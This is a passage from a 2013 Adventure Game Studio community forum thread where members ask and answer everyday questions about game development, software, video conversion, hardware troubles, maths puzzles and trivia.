A game (set in the 70s, maybe) where you play as Harry Hefner. Your cousin is a famous playboy/publisher, but even though he's your role model, you've never managed to live up to the Hefner name. However, you've recently landed a job as a reporter for a small-town newspaper, moved out of your mother's home, and you know that this is the start of your new life as a sophisticated ladies' man and swinging bachelor! You'll fill the paper with sexy articles and features, your cousin will notice you, and bam! you'll be living in the mansion as his second-in-command and wingman. Unfortunately, your single-mindedness, obliviousness and naiveté makes you miss the real story of what's going on behind the small-town facade...
Title: Re: Ask something - We can help.
Post by: Adeel on Fri 12/07/2013 19:22:53
Quote from: Snarky on Fri 12/07/2013 19:01:51
As everyone always says, don't start out trying to make a huge game. Even a short little game is surprisingly time-consuming to make, and the practice will give you a better sense of what you can and cannot do.

Originally, the plan was to start working on that project after I had released my short game, so that I would have more experience.

BTW, your story seems a nice starter. I am going to think about it, planning out details. The real intention behind the promotion etc...
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 16/07/2013 21:41:20
Cat lovers!
Not sure this needs its own thread so I'll plonk it here.
My friend is emigrating to Australia, possibly in the next few months, and she can't take her gorgeous 5-year-old kitties with her.
If anyone reads this and might consider adopting two cats (she would prefer they stay together, as they are siblings) then click on the link below.
Scroll down and find Winnie and Pugsley, the two black kitties.
http://www.northbirmingham.cats.org.uk/northbirmingham/adopt-a-cat/adopt-via-our-direct-homing-scheme/

P.S. Click only if you are a kind-hearted animal lover.  I'd hate for my friend's cats to end up eaten by a crazy guy from the internet.

------------------------------------------
[Edit]Here is the relevant section in jpg form :)
(http://stupot.agser.me/misc/Cats.jpg)
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 16/07/2013 21:51:43
the link is not working, not even with .co.uk or just .org
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 16/07/2013 22:38:04
Quote from: selmiak on Tue 16/07/2013 21:51:43
the link is not working, not even with .co.uk or just .org
Weird, it works fine for me. Nevertheless, I have copied a screenshot of the relevant section and put it the post above :)
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 16/07/2013 22:40:11
sweet, how much for shipping to mainland europe? :D
Title: Re: Ask something - We can help.
Post by: AGA on Wed 17/07/2013 09:11:30
Works for me too.  Perhaps they have some bizarre country filter in place to stop foreigners stealing their cats.
Title: Re: Ask something - We can help.
Post by: selmiak on Wed 17/07/2013 10:32:04
today the page works for me too. Strange...
Title: Re: Ask something - We can help.
Post by: Myinah on Thu 18/07/2013 14:47:56
I re-homed a five year old cat when the owner developed a chronic illness and began having allergic reactions to her fur. It's honestly the best decision I ever made. She's a bit old and fat now, but she's the loveliest girl. I hope they find a good home.
Title: Re: Ask something - We can help.
Post by: Nikolas on Tue 20/08/2013 23:07:19
Ok.

This must be one of the weirdest questions ever, but here goes...

I want to create a video (with premier) that has a scrolling score. The tempo (speed) remains the same, so "all" I have to do is to make a long enough image and arrange for it to move from one side to the other, right? right! (I've done it before and it works fine)...

The problem in this case is that the work in question is HUGE! Like 48 pages of a normal book.

So, while working on Finale (notation software), I managed to make it into one HUGE portrait format page. The size is 2500 cm x 15 cm! ;D

And I've managed to make it into a PDF file fine (after many attempts...). Finale will not export such a large image, and generally speaking such a large image (which is about 90,000 pixels wide x 1181 high! ;D) will create various problems.

So question time:

1. How can I turn this pdf file into an image file (png, tiff, bmp, whatever)? Acrobat pro doesn't like anything above 72 dpi, which turns the image into shite
2. Once this is done (I did make an empty page to try it), how can I import it into premier? Premier doesn't allow such size images into it... :(
3. Other than reducing the size of the image all together, is there another idea perhaps? I can't cut the image in half, or anything, cause it's continuous music and as such I'd like to keep it rolling...

Thanks...

EDIT: Bliah... Premier will accept images of up to 32,768 pixels in any direction. So I need to shrink it thrice for this to work... Oh boy...This is going to be fun...
Title: Re: Ask something - We can help.
Post by: jwalt on Wed 21/08/2013 00:20:04
On sale today, only $19.95. But is it art?

Without the intention of starting a 3D vs. 2D argument, I do have a question. I consider myself a better modeler than artist, which pushes me in the X,Y,Z direction, instead of just X and Y. I can usually make inorganic stuff that looks okay, but organic forms like men and beasts have proven illusive elusive. I've been buying stuff from DAZ 3D recently. When do I truly cease being an “artist” and become a set director? Most of the stuff in a scene will still be mine, and animating the characters still requires my input, but is there some cross over point? Just curious.

Edit - Spelling/usage error.
Title: Re: Ask something - We can help.
Post by: Gilbert on Wed 21/08/2013 02:45:23
Quote from: Nikolas on Tue 20/08/2013 23:07:19
1. How can I turn this pdf file into an image file (png, tiff, bmp, whatever)? Acrobat pro doesn't like anything above 72 dpi, which turns the image into shite
Or try to use PDFXchange (http://www.tracker-software.com/product/pdf-xchange-viewer) (which replaced [Acrobat] Reader completely to me). Most useful functions are still available without paying for it. One function I use very frequently is File -> Export -> Export to image... which prints selected pages into image files of customisable sizes. I don't know whether there is some size limitation in the exported image though.
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 21/08/2013 07:02:16
Thanks... Downloading pdfxview right now...

But my problem still lies.. I have an image which right now is simply too wide. I need to cut it three ways in order to fit inside premier and the music does NOT allow for such thing to happen. If I shrink it x3 it will also shrink the height, so from 720 (which is the normal height for my videos) it will go down to 250 or so, which is simply too small... :(

The more I think about it, the more I think that I should cut the image three or four times, simply to make the image files managable...
Title: Re: Ask something - We can help.
Post by: Gilbert on Wed 21/08/2013 07:48:51
I've never used Premier (and any "serious" video editing programme to this matter), but about cutting up the image into three parts, why can't it work? You may need to place the 2nd image carefully such that its left edge sticks to the right edge of the 1st one when the video plays to the cutting part (and the same with the 3rd image) for the scrolling to be seamless. Is that very difficult to manage?
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 21/08/2013 07:57:39
heh... Actually no, it's not too difficult to pull off I think. Just some serious cropping to do at such size images, but none the less doable!

I'm a moron: for some reason I only thought of cropping the images INSIDE Finale, which is moronic. I can do the same thing in gimp or PS or wherever really... Gosh...

Thank you ^_^
Title: Re: Ask something - We can help.
Post by: Gilbert on Wed 21/08/2013 10:24:40
I just have a crazy idea. I think Premire can take a batch of still image files as frames and generate a movie from them? Otherwise, there are definitely other software to do this quickly.

So, what about making all those frames yourself from the loooong original image and then import them? I know there will be A LOT OF frames but you do this only once.

I quickly pieced together a small programme to do this. You may download it from here (https://files.myopera.com/gilbot/junk/Image_Scroller_V0.50.zip). A quickly generated 70000 x 720 tested image is included. You can double click  test.cmd  to see how things go. Beware that for moving 100 pixels per frame in that test case around 700 images will be generated and it will take some time, and it will take even longer if you need more frames. Also it's poorly written, and not thoroughly tested, so it may fail.
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 22/08/2013 08:38:22
Ok.

This is almost too much!

THANK YOU KIND SIR! THANK YOU!
Title: Re: Ask something - We can help.
Post by: Gilbert on Thu 22/08/2013 10:52:26
I've actually updated the tool a bit:
https://files.myopera.com/gilbot/junk/Image_Scroller_V0.80.zip (https://files.myopera.com/gilbot/junk/Image_Scroller_V0.80.zip)

You can now use a floating point number for the displacement per frame (in case you want more precise timing, so that say, exact 1000 pixels passed in 1 second, then for a 30FPS movie you need to scroll 1000/30 ~ 33.333 pixels per frame). The real displacements are still integral values though for obvious reasons (so if you set it to say 1.5, the image will move like 1px, 3px, 4px, 6px, etc.). You can also set it to a negative number for the image to scroll from right to left.
Title: Re: Ask something - We can help.
Post by: on Fri 30/08/2013 03:26:44
I am following the vote on military intervention in Syria (http://www.theguardian.com/politics/blog/2013/aug/29/mps-debate-syria-live-blog).
Not being British, there is something that I don't get: how do MPs actually vote on such matters? In an 'overt' way (rising their hands, etc.) or not (casting vote in a ballot box, electronic procedure, etc.).

As the names of the MPs who voted against their party isn't published, I guess the latter. But then, how can @labourwhips say something like this (https://twitter.com/labourwhips/statuses/373207836257705984)? Guesstimation?
Title: Re: Ask something - We can help.
Post by: Matt Frith on Fri 30/08/2013 03:36:23
I believe it is a private ballot.  Not sure if it is a ballot box but it is certainly a confidential vote.  For the record, they made the right choice!
Title: Windows 7 control panel...NVIDIA control panel won't leave my system.
Post by: RetroJay on Fri 30/08/2013 06:02:14
Hi Peeps.

I need your help.

Just the other night my Nvidia card died on me.
I uninstalled all the drivers and programs that came with it and fitted an ATI Radeon along with all of its programs and drivers.

All seems to be just fine, apart from having to go into safe mode to get rid of the 'NVIDIA Corporation' folder from 'Program Files'.

I am left with one annoying prob.
Within 'Control Panel' I now have 'NVIDIA Control Panel' (This doesn't work anymore and so is a dead shortcut icon I assume).
My question is... How the hell do I get rid of the 'NVIDIA Control Panel' from Windows 7 Control Panel.

I have searched and searched some more on line but can't find an answer. ???

Yours.
Jay.
Title: Re: Windows 7 control panel...NVIDIA control panel won't leave my system.
Post by: Crimson Wizard on Fri 30/08/2013 08:41:10
Maybe this will shed some light: http://www.computerhope.com/issues/ch000136.htm

To put this simply: all those icons are just files, stored in some of the Windows system folders. If you find where they are, you may literally delete them (assuming you are not restricted by Win security). Can't tell how safe that is though :p
Title: Old laptop woes (Asus EEE)
Post by: Radiant on Fri 30/08/2013 15:02:13
So I've been using this nifty book-sized Asus EEE for several years now. Like many laptops, it has some special controls like Fn+F2 to toggle WIFI, and Fn+F3 / F4 to decrease or increase screen brightness.

The odd thing is that my F3 key is broken and unresponsive. Does anyone have suggestions for an alternative way to turn my screen brightness down? There doesn't seem to be an option for it in the control panel, and all I've been able to find on google is to look in the control panel...
Title: Re: Old laptop woes (Asus EEE)
Post by: Stupot on Fri 30/08/2013 15:27:20
You can change it under 'Power Options' in the control panel.
You can set the defaults for when your laptop is plugged on or running on battery.
Title: Re: Old laptop woes (Asus EEE)
Post by: Snarky on Fri 30/08/2013 15:30:37
You should test whether you can fake a Fn-F3 keystroke with an on-screen keyboard. You can probably also use a scripting utility to tie it to some other key combination.
Title: Re: Ask something - We can help.
Post by: Radiant on Fri 30/08/2013 15:34:37
Quote from: Stupot+ on Fri 30/08/2013 15:27:20
You can change it under 'Power Options' in the control panel.
You can set the defaults for when your laptop is plugged on or running on battery.
That only lets me set after how many minutes of inactivity the screen goes blank.

Quote from: Snarky on Fri 30/08/2013 15:30:37
You should test whether you can fake a Fn-F3 keystroke with an on-screen keyboard. You can probably also use a scripting utility to tie it to some other key combination.
That's a good idea, do you have some software to recommend?
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 30/08/2013 16:06:06
Quote from: Radiant on Fri 30/08/2013 15:34:37
Quote from: Stupot+ on Fri 30/08/2013 15:27:20
You can change it under 'Power Options' in the control panel.
You can set the defaults for when your laptop is plugged on or running on battery.
That only lets me set after how many minutes of inactivity the screen goes blank.

Ahh. On mine, it lets me change the brightness from Power Options > Edit Plan Settings.  It must not be possible on your system :/
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 30/08/2013 16:32:38
Quote from: Radiant on Fri 30/08/2013 15:34:37
Quote from: Snarky on Fri 30/08/2013 15:30:37
You should test whether you can fake a Fn-F3 keystroke with an on-screen keyboard. You can probably also use a scripting utility to tie it to some other key combination.
That's a good idea, do you have some software to recommend?

There's an on-screen keyboard built into Windows (http://windows.microsoft.com/en-us/windows/type-without-keyboard#type-without-keyboard=windows-vista).

I've used the MS Keyboard Layout Creator (http://msdn.microsoft.com/en-us/goglobal/bb964665.aspx) to remap my keyboard (in order to type in accents and special character in a Mac-like way); Keyboard Layout Manager (http://www.klm32.com/KbdEdit.html) looks like another option. I haven't used it, but there's been some talk about AutoHotkey (http://www.autohotkey.com/) as a Windows scripting solution. Hopefully you could make it work with one of these.
Title: Re: Ask something - We can help.
Post by: Atelier on Mon 09/09/2013 17:53:00
Quote from: bicilotti on Fri 30/08/2013 03:26:44
Not being British, there is something that I don't get: how do MPs actually vote on such matters? In an 'overt' way (rising their hands, etc.) or not (casting vote in a ballot box, electronic procedure, etc.).

It's Westminster, so voting certainly isn't done electronically :P I went on a tour of the Houses of Parliament a couple of days ago, it's surprising how behind the times and how many old traditions remain.

So, when the Speaker calls for a vote, and there is an audible division in opinion (people shout 'aye' and 'no' to the motion), he shouts "clear the lobby". This lobby is the central one connecting the Lords and Commons chambers. It needs to be cleared because this is where those abstaining from the vote can gather, and where everybody eventually passes through. A bell sounds throughout Westminster then MPs have 8 minutes to arrive before the doors are shut and they cannot vote.

The voting MPs file out of the Commons chamber and go down two separate corridors parallel to either side of the Commons: an "aye" corridor and a "no" corridor. The MPs are literally counted by clerks at desks, as they pass through the exit of the corridor. There are three lanes dividing up the alphabet for surnames, to make it easier to count people. I assume their names are taken down for reference but I wouldn't be surprised if they weren't. Either way, the system makes it difficult for votes to be truly confidential.

Then the clerks pass their count to the chamber where it's read out.

My question:

The music video is solely a man reading the lyrics scrolling up on a screen in front of him. The text is mirrored cos he's facing us.. anybody know which song this is?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Mon 09/09/2013 18:06:35
No Surprises by Radiohead
Title: Re: Ask something - We can help.
Post by: Atelier on Mon 09/09/2013 18:21:43
That's it, thanks Calin !
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 15/09/2013 20:17:51
There's a question I cannot google answer for:
Why do multiplayer games still have super low player limit? I mean, usually it's 32..64 players for any first person shooter, 8 for strategy games and so on.
Yet MMOs do exist. So what's that different about them, or in other words, why aren't games like Chivalry: Medieval Warfare 5000 vs 5000 player ones and numbers like this pretty much standard by now?

I just want to understand technical side of this. In age of 100Mbps internet speeds, is such amount of players still a problem? Surely amount of polys for so many characters might be, but connection-wise?
Title: Re: Ask something - We can help.
Post by: Khris on Sun 15/09/2013 20:50:27
I don't think there's a technical reason. It's basically a game design issue.
I don't know Chivalry, but do you really think it's a good idea to play a Counterstrike session with a town-sized map and thousands of people per team...?

Edit: servers only exchange movement data and such, they don't send the position of every single polygon.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 15/09/2013 21:38:12
Latency is the simple answer.

In an MMO you can have latencies of almost a second and it kind of doesnt matter. Thats why MMOs generally have a kind of pseudo turn based combat because it doesnt really matter if your command takes a second to execute.

However, some modern MMOs do have thousands of players. Take a look at Planetside 2 for instance.
However, planetside 2 does require a whole server farm to support. It's not like you can simulate everything for 5000 players on a simple server.
Title: Re: Ask something - We can help.
Post by: Anian on Sun 15/09/2013 22:43:51
Bigger servers cost more, especially when on pc (where you can buy your server) this really isn't that practical. Plus it's much harder to control gameplay and test it and make maps that such big battles. 32vx32 is rather big and fun enough I think.
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 16/09/2013 09:27:05
Yes, but I'm wondering about what is physically behind it, why you cannot simulate everything for 5000 players?

Or let me rephrase
Why is Doom II from 1995 more or less at same level from technical standpoint (like number of players) as games in 2013? Why haven't we moved forward? Technology sure has! And enormous maps aren't anything new either, think GTA or ARMA, for example
Sounds like there's some weird limit here technology hasn't passed... for 18 years

I've been thinking about it all day (without doing actual research) and tried to crack this down. Only simple explanation that makes sense me goes like this:
Player 1 shoots a gun
Server relays that information to player 2
Server relays that information to player 3
...

and if relay takes 1ms and there's 5000 players, last player would have 5-second lag. Because software/processor does linear operations which means it cannot relay to everyone at once

How far is that theory from truth? Or is it just reduced by faster server/connections?
I cannot really imagine how fast could a server relay anything, but I guess speed of light should be the top limit (if we'd have directed lasers instead of cables and thus no electric resistance or something)

Design standpoints I know. For example, player models in 3D games tend to take up most of the poly budget. The more players, the heavier drawing gets.
And of course server with 5K players is harder do moderate and whatnot
Title: Re: Ask something - We can help.
Post by: on Mon 16/09/2013 17:37:02
I am experiencing "crap mouse" syndrome whereby when I left click once it double clicks. Has anyone a solution for this? Or know why this happens?

It's the mouse doing it not the PC reading it as such. I'm wondering if it's just dirt under the mouse buttons, or if it's me, my wrist, going senile... ?
Title: Re: Ask something - We can help.
Post by: Tabata on Mon 16/09/2013 18:22:42
Have you checked the mouse properties (including the double-click speed of the keys)?
If you slow down the speed it might stop to define your click as a double-click ~ just a guess (roll)
Title: Re: Ask something - We can help.
Post by: on Mon 16/09/2013 18:36:48
Clever idea Tabata! Sadly, it seems that there is no 'maximum' speed control, meaning, you can only make it detect slower double clicks, and you can't say pull it back so it stops accepting ultra fast doubleclicks. Gah!
Title: Re: Ask something - We can help.
Post by: Khris on Mon 16/09/2013 19:37:42
Are you positive it's the mouse? As in, did you plug it into a different machine and reproduce the double-clicks?
My first thought was that maybe you had accidentally changed your Windows Explorer's "open file" setting to single-click?
Does it consistently double-click, even in games, etc?
I can't imagine this being a mechanical issue, and even it being a hardware issue seems very unlikely.
Title: Re: Ask something - We can help.
Post by: on Mon 16/09/2013 19:46:15
When my finger presses down on the left mouse button, it double clicks. I just smacked it and threw it around and it's stopped for now  (laugh)
Title: Re: Ask something - We can help.
Post by: kaput on Mon 16/09/2013 20:01:57
The same thing happened to me - then I realised it was just that the enter key had jammed on my keyboard. Maybe useful, maybe not. You'd be surprised how long it took me to realise this.
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 21/09/2013 07:11:21
How do I put this parabola into single line of code (function)?

(http://i.imgur.com/GgTMbVP.png)

Want to make a shop in my RPG experiment where strength of a horse is tied to its age. Age 8 should be the peak for strength
Title: Re: Ask something - We can help.
Post by: cat on Sat 21/09/2013 09:01:49
That's not a parabola, but a Gaussian curve http://en.wikipedia.org/wiki/Normal_distribution (http://en.wikipedia.org/wiki/Normal_distribution)
Title: Re: Ask something - We can help.
Post by: Khris on Sat 21/09/2013 10:29:14
Basing it on a sin curve:
sin((x-5)*pi/10) * 45 + 55 (http://www.wolframalpha.com/input/?i=sin%28%28x-5%29*pi%2F10%29+*+45+%2B+55+for+x+%3D+0...20)
Title: Re: Ask something - We can help.
Post by: InCreator on Sat 21/09/2013 12:05:43
thanks :smiley:
Title: Re: Ask something - We can help.
Post by: Atelier on Thu 26/09/2013 03:11:07
What is the meaning of life? Serious asnwers only please.
Title: Re: Ask something - We can help.
Post by: Adeel on Thu 26/09/2013 10:25:29
Quote from: Atelier on Thu 26/09/2013 03:11:07
What is the meaning of life? Serious asnwers only please.

Enjoying yours without ruining the others'.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Thu 26/09/2013 10:34:24
Quote from: Atelier on Thu 26/09/2013 03:11:07
What is the meaning of life? Serious asnwers only please.

Suffering through yours and helping others enjoy the same.
Title: Re: Ask something - We can help.
Post by: Scarab on Fri 27/09/2013 11:26:38
Maths Question: Pipes stacked in trucks.

I was thinking recently about the way truck deliver large pipes. (http://www.crestwoodtubulars.com/images/pipe-on-truck.jpg)

You can see in this image that the pipes are packed like this:
(http://i.imgur.com/B4COZ71.png)

Per unit volume, however, this packing is more efficient (http://mathworld.wolfram.com/CirclePacking.html):
(http://i.imgur.com/OeTgmCQ.png)
(and sometimes trucks do use this packing)

If you were to bind the second 'hexagonal packed' cylinders in a square container, there would be wasted space in every second row, meaning that for small numbers of pipes, the 'square packed' method can pack tighter. (Assuming the container has sides of a whole number multiple of diameter 2r.)

What I'm wondering, is at what length n will the hexagonal packed method break even and become the optimum stacking method? Where n is the whole number length of sides of the bounding square, in diameters.

I recognise that this is a surface area vs perimeter problem, but I can't work out the equation.



All the results I found googling this seemed to have the problem in reverse (http://en.wikipedia.org/wiki/Circle_packing_in_a_square), i.e. for given number of circles, what is the arrangement which can be bound in the smallest square of arbitrary size, or talk about how close spheres can pack, without talking about the break even volume, so I can't extrapolate from there.

This has baffled me, so I'd very much appreciate a hand in working this out. :)

Regards, Scarab.
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 27/09/2013 12:08:34
I think the easiest thing would be to work out a formula for how many unit circles you can pack hexagonally in a certain square (size n, say). You just work out how many layers high you can stack it, then you know every other layer has floor(n) circles and every other floor(n)-1. Of course, in the square packing the number of circles is just floor(n)*floor(n).

I think the height needed for m layers is 0.5 + 0.5 + (m-1)*sin(60°) = 0.86602540378*(m-1) + 1. So if the height is n, you get m = 1.15470053838 * (n - 1) + 1
Then you calculate whether floor(n)*floor(n) is greater than or less than ceil(m/2)*floor(n) + floor(m/2)*(floor(n)-1). I can't be bothered with the algebra right now, but if you plot those two formulas, you should be able to find the intersection point.

Edit: I just realized it's a little more complicated than that, because if the width is at least n+0.5 (but less than n+1), you can fit n pipes in every row. I'd probably just calculate it for integer n first, then use the more detailed formula to figure out exactly where it flips.

Edit 2: And by plugging the formulas into Excel, the flipping point turns out to be at 1 + 7*sin(60°) = 7.06217783. Below this, you can fit 46 pipes in the hexagonal arrangement; above it you get room for another (eighth) layer and can fit 52. In the square packing you can fit 7*7 = 49.
Title: Re: Ask something - We can help.
Post by: Scarab on Fri 27/09/2013 15:42:07
Ah, awesome! Thanks for the speedy reply!

That problem had been bugging me batty. :)
Title: Re: Ask something - We can help.
Post by: on Wed 02/10/2013 23:38:54
Does anyone know of a download manager that has resume support but most importantly: Has some kind of feature that allows you to dictate which part of a file it downloads.

For example, I don't want the first 200mb of a 400mb file, I only want the last 200mb. Free download manager doesn't quite allow for this, at least, I haven't worked it out. I can cut it down to only download it in 2 segments but I can't make it only continue with the later section, only the earlier section.

If anyone has come across this it'd be very useful, before I go and burn t-mobile's HQ down. Thanks!

And one other question. Five years ago, a tablet was figure A. Now a tablet is figure B. So what is figure A called nowadays?

Fig A.
(http://brentbat.files.wordpress.com/2011/01/wacom_intuos_tablet2.jpg)

Fig B.
(http://cdn.macrumors.com/article-new/2013/01/ipad5_2.jpg)
Title: Re: Ask something - We can help.
Post by: Snarky on Thu 03/10/2013 01:17:49
Drawing tablet/pen tablet/Wacom :-D
Title: Re: Ask something - We can help.
Post by: on Thu 03/10/2013 03:23:57
Hmm, so like hoover or tannoy, it's known by a brand name now ;)

Plus side, my crap one can be considered a wacom ;)
Title: Re: Ask something - We can help.
Post by: Gilbert on Thu 03/10/2013 03:32:23
Actually, even the recent "tablet" is only some kind of casual name, in case of ambiguity you still need to call it formally by like "tablet PC" or "tablet computer", so the drawing tablet (I think it's sometimes also called a digitiser) can still be nicked just "tablet" when there is no ambiguity. You know, the word tablet actually has A LOT OF meanings (including those drugs you take), right? This is similar to how we often call a laptop computer a "notebook", but we all know what a notebook actually is (http://john.do/notebooks/).
Title: Re: Ask something - We can help.
Post by: on Thu 03/10/2013 07:05:41
Good point! I got out of bed to check cos I remembered there was an even earlier meaning for tablet (the pill, as you say) but thought I was going mad, one of those instances where the more you say a word the less meaning it seems to have, to the point you wonder if it has any meaning at all. But you confirmed it IS real ;) And of course the ancient style tablet... Anyhoo the modern technological ones don't seem to be considered part of the definition for "tablet", but "tablet computer" is again as you say the real term for an iPad at least. Not sure why I'm worried about this word tbh :P
Title: Re: Ask something - We can help.
Post by: on Mon 14/10/2013 14:10:49
Got a confusing email

Quote
We are a team that analyze Mac`s and PC software and hardware.

We are interested in analyze your software "Downfall - A Horror Adventure Game". So, we can spread your products by our web and social webs. For that, we need a copy of your product for Steam or Desura if is possible.

For promoting the products, we eventually draw lots licences, so if you can give us more than one license, we`ll be grateful.

and the site: http://analizandomac.com/

Anyone able to tell if this is merely a review site? And what is "draw lots licenses" ?

I'm guessing it IS just a review site but the email couldn't be any more confusing. I assume it's probably just a language barrier issue...
Title: Re: Ask something - We can help.
Post by: CaptainD on Mon 14/10/2013 16:32:14
Certainly looks like a review site.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 22/10/2013 14:53:52
- Does anyone still have that font (below) in any format (WFN, TTF, SCI...)?
OR
- Does anyone still have the very old Scumm template where it used to be included?

(http://img2.imageshack.us/img2/8323/foacreditsfont.gif)

Title: Re: Ask something - We can help.
Post by: on Tue 22/10/2013 15:14:18
^ Try a PM to subspark
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 22/10/2013 15:22:25
Quote from: Mods on Tue 22/10/2013 15:14:18
^ Try a PM to subspark
I'll try, thanks!
Title: Resonate or Resonant objects
Post by: Slasher on Fri 25/10/2013 13:26:40
Hi,

do we say:

1: Find 'RESONATE' objects

2: Find 'RESONANT' objects

which to use in terms of 'GET' and 'HAVE'...

cheers



Title: Re: Resonate or Resonant objects
Post by: Crimson Wizard on Fri 25/10/2013 13:30:16
It is "resonant" which is adjective, and "resonate" is a verb (to resonate).


And "Resonance" which is the AGS game :=
Title: Re: Ask something - We can help.
Post by: on Sun 03/11/2013 21:55:10
Spoiler
I have an art/ags question, did not want to start a tech thread about it really.

I found a nice animated GIF of some birds that will suit my game.

The actual version, when imported into AGS, is ok for the first frame, but then all other frames have the previous frame drawn, creating this:

(http://i40.tinypic.com/5fgphx.png)

So I tried to use a thing called animation shop to create a new version of the gif, with higher/lower color settings etc, and the next few times it comes out like this when imported in AGS using "import GIF animation":

(http://i44.tinypic.com/x5pchy.png)

If I take a single frame of the anim in animation shop and export it to gif format, then import via AGS using "single frame" import rather than a gif file, it goes fine. So my questions are:

1) Is there a program that can load a gif and export all the individual frames? sadly my animation shop (old thing from paint shop pro) does not seem to have an export all frames option, just one by one, and hell am I doing that for 300 frames :P

2) Is there a step I'm missing or any tips on how to get ags to import it nicely without these artifacts? "Import GIF animation" doesn't give you the option to locate the transparent area of the image or such?

This is standard gif, standard transparency and animated, never actually had this problem occur with any other animated gifs, so not sure why it would happen. Obviously changing the color settings a bit created a different "effect" when imported. But perhaps I'm missing something?

Many thanks
[close]

^ solved for now thanks to selmiak :)
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 03/11/2013 22:15:59
import into Photoshop
set all frames of the animation to 0 secs
file>export>render video>imagesequence
Title: Re: Ask something - We can help.
Post by: on Sun 03/11/2013 22:19:06
Thanks selmiak but peh, I don't have photoshop (guess I should catch up and get it sometime ;)), would you be willing to do that for me if I email you the gif?
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 03/11/2013 22:26:36
sure, send me a pm, email or link the image here.
Title: Re: Ask something - We can help.
Post by: Ghost on Mon 04/11/2013 00:07:22
Has anyone here ever bothered to set up an actual rendered video for an AGS game? I tackled a small animation in truespace, which is... a bit oldfashioned, and I am baffled by all the compressing/converting/exporting stuff. There are probably better programs out there, it's just that I know truespace quite well. The rendering/animation is *not* the problem- but what format/compression/whatever can be imported into AGS? 16bit game, 320x240 as per usual.
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 04/11/2013 18:34:20
I don't know 16bit colordepth is a problem contrary to 32bit colordepth but .ogv video plays good in AGS. I had problems with a black border on top and thus missing part of the video on the bottom though. But after counting the pixels of the black border and adding them to the bottom it aligned like intended. So even more fiddeling, but once you get it running it works. XVID in an avi container also works but cannot be compiled into the exe and has to be delivered seperately from the gamefiles and thus could spoil the game for too interested players. But please do it :)
Title: Re: Ask something - We can help.
Post by: Ghost on Mon 04/11/2013 18:57:05
Right... okay, my truespace version doesn't export to ogv, but I bet there are converters... well, knee deep into the experimentations...

Quote from: selmiak on Mon 04/11/2013 18:34:20
and thus could spoil the game for too interested players. But please do it :)
;-D
Title: Re: Ask something - We can help.
Post by: selmiak on Mon 04/11/2013 19:24:29
or stupid players could delete or move the video around and with this break the game. But afaik AGS just shows an ugly 'Videofile xy.avi not found' in the very basic message native to AGS and continues from there on. But using videos not compiled into the exe could also allow for some small 'mods' to the game, of course these could be fun or worse than anything you can imagine atm ;)

Using programs on my PC to convert video to ogv didn't work that good, but using http://video.online-convert.com/convert-to-ogg did the trick for me. If you manage to convert to ogv that ags accepts with something else please let me know :)
Title: Re: Ask something - We can help.
Post by: Ghost on Mon 04/11/2013 19:34:14
Will do. The "stupid user deletes file" scenario makes me feel uncomfortable with using an external file- there is always one...
Title: Re: Ask something - We can help.
Post by: Babar on Tue 05/11/2013 11:04:59
I'm trying to remember a song I heard  ~1999-early 2000s, it featured on MTV back then for a bit, and while it wasn't a marvel of songmaking or anything, me not being able to find it is driving me crazy.
The video featured a bunch of cars racing about, skidding, drifting in some huge, empty flat area (desert? beach?), with overhead shots of the cars, intercut with close-ups of the singer (some white guy with dark hair and a closely trimmed goatee/beard thing singing?). Lyrics I remember are along the lines of "Some of the best things in life....aren't for free. Some of the best things in life....aren't for me" "Get a new life get a new life now, 'cause I'm going nowhere. Get a new life get a new life, yeah, don't know, can't see, I don't care" and so on.
Title: Re: Ask something - We can help.
Post by: Renal Shutdown on Tue 05/11/2013 12:28:34
https://www.youtube.com/watch?v=Of1idt51DHc
Filter - The Best Things.
Title: Re: Ask something - We can help.
Post by: Babar on Tue 05/11/2013 14:03:13
Thanks!
Title: Re: Ask something - We can help.
Post by: on Tue 05/11/2013 16:18:39
Quote from: Ghost on Mon 04/11/2013 19:34:14
Will do. The "stupid user deletes file" scenario makes me feel uncomfortable with using an external file- there is always one...

From experience, it's all about ogv now. External videos are not a good idea. They also run into issues on some people's machines who do have certain codecs and don't have others etc. I for one can't play several of my older games cos they feature an external video file that no longer plays for some reason. No problem with ogv games yet.

I'm using VLC player to convert from AVI or what not to OGV. OGV size should match the size of AGS res setting otherwise you'll get artifacts in the video image and sometimes it won't stretch to full screen fully. Don't be fooled into thinking OGV is necessarily going to save you file size in anyway, it won't. A high res 30mb OGV file will still add 30mb to your exe size etc. But it is nice that they go into the exe and don't need to be distributed in the compiled folder like avis and wmvs.
Title: Re: Ask something - We can help.
Post by: Ghost on Tue 05/11/2013 18:47:03
Thanks, mods! A frined already suggested VLC to me, I already downloaded it. It's all new ground for this old dog.
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 05/11/2013 18:49:28
did you know that .mkv is open under  GNU LGPL (there were some problems with AGS and GNU licenses...) and support 1080p videos?! :D
VLC is the player for mediafiles, and I did read that it can convert videos to ogv but somehow it didn't work for me :P
Title: Re: Ask something - We can help.
Post by: Khris on Tue 05/11/2013 20:28:34
When I played around with ogv, I was using this: http://v2v.cc/~j/ffmpeg2theora/
Title: Re: Ask something - We can help.
Post by: on Tue 05/11/2013 20:29:23
Heh, yeah VLC is a clunky converter, it's really not a quick process. You have to click things a hell of a lot of times just to convert two files into OGV. So it's not ideal. I'd love to find a new decent converter.
Title: Re: Ask something - We can help.
Post by: selmiak on Wed 06/11/2013 00:16:11
